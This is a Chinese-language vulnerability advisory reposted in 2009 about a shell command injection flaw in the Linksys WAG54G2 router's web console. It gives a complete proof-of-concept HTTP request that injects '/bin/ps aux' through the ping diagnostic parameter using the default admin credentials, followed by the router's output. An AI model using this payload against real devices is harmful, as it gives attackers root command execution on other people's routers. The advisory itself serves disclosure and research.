Linksys WAG54G2 Web管理控制台远程Shell命令注入漏洞
来源:岁月联盟
时间:2009-06-07
Linksys WAG54G2 1.0.10
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 35142
Linksys WAG54G2是集成了modem和路由器的ADSL一体机。
Linksys WAG54G2路由器提供了一个默认仅有LAN用户可访问的管理控制台。由于没有正确地过滤用户请求中的“;”、“&”、“|”、“``”、“%a0”等特殊字符,用户在登录到控制台后提交恶意请求就可以导致注入并执行任意Shell命令。如果用户没有更改默认的管理口令,外网用户还可以利用跨站请求伪造安全远程利用这个漏洞。
<*来源:Michal Sajdak (michal.sajdak@securitum.pl)
链接:http://milw0rm.com/exploits/8833
http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!
GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=
HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
PID Uid VmSize Stat Command
1 root 284 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kthread]
...
建议:
--------------------------------------------------------------------------------
厂商补丁:
Linksys
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.linksys.com